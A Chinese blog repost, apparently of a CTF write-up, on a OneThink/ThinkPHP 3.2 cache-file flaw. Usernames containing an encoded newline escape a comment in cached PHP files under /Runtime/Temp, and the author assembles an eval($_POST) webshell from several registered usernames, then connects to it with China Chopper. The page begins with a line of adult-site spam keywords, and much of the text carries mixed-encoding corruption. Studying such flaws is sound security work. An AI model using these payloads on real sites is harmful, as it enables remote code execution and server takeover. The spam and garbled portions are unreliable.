日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > php >内容正文

php

onethink swfupload upload.php,OneThink--ThinkPHP3.2 缓存文件泄露

發(fā)布時間:2023/12/15 php 56 豆豆
生活随笔 收集整理的這篇文章主要介紹了 onethink swfupload upload.php,OneThink--ThinkPHP3.2 缓存文件泄露 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

框架漏洞

因為嘗試訪問/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php的確成功,所以很有可能就是這個漏洞。雖然圖都掛掉了,但是大概也能看懂。漏洞的成因大概就是ThinkPHP框架的緩存函數(shù)S()是以File方式,在/Runtime/Temp下生成緩存php文件,而且緩存文件名固定。另外烏云的這個漏洞詳情沒有公開,能找到的文章只有這篇。

本地搭建

一不小心下成了1.1版本,不過應(yīng)該也沒有太多的不同,這里我需要安裝兩個所需的php插件,并設(shè)置可寫

$yum installphp-mbstring

$yum installphp-gd

$chmod777 -R wwwroot

瀏覽/Runtime/Temp目錄發(fā)現(xiàn)如下文件:

27cdbc1fb1747e4f56dfb350211408e1.php

2923514e8f7dfe49ac5aebd5073e6000.php

5f172c2585b382a65d91e0c51a64dc7f.php

77278367caf1eb2690f686654d77e163.php

ea40274ec2c219aa956e2d44e586834d.php

其中如下兩個文件是跟用戶有關(guān)的文件:

5f172c2585b382a65d91e0c51a64dc7f.php

ea40274ec2c219aa956e2d44e586834d.php

這個兩個文件內(nèi)容一樣,但不一定同時存在,內(nèi)容如下:

//000000000000a:1:{s:2:"u1";s:13:"Administrator";}

?>

分析利用

如果用戶名中存在用換行符或者回車,即可讓語句從單行注釋中逃逸出來:如注冊一個名為%0aphpinfo();//的用戶并登陸,這里需要注意注冊以及登陸框會將輸入url編碼,所以要在burp里還原%0a,順便吐槽一下驗證碼,太難看清了。登陸前只有ea的一個文件,登陸后5f文件也出現(xiàn)了。觀察這兩個文件內(nèi)容如下:

//000000000000a:2:{s:2:"u1";s:13:"Administrator";s:2:"u2";s:13:"

phpinfo();//";}

訪問/wwwroot/Runtime/Temp/ea40274ec2c219aa956e2d44e586834d.php 查看phpinfo()成功,所以可以開心的寫木馬了,但是這里限制了用戶名為16個字符,所以只能分開寫:

%0a@eval($_POST[0]);// [20個字符]

%0a$a=$_POST[0];// [16個字符]

%0a@eval($a);// [13個字符]

注冊完分別登錄,換存文件就變成如下,菜刀鏈接即可,flag就在根目錄下

//000000000000a:2:{s:2:"u1";s:13:"Administrator";s:2:"u2";s:13:"

phpinfo();//";s:2:"u5";s:16:"

$a=$_POST[0];//";s:2:"u7";s:13:"

@eval($a);//";}

版本不同

1.0 的緩存文件名為:

2bb202459c30a1628513f40ab22fa01a.php

865e8245bc0c525aa4a48bfb433d7c3e.php

1.1 的緩存文件名為:

5f172c2585b382a65d91e0c51a64dc7f.php

ea40274ec2c219aa956e2d44e586834d.php

總結(jié)

以上是生活随笔為你收集整理的onethink swfupload upload.php,OneThink--ThinkPHP3.2 缓存文件泄露的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。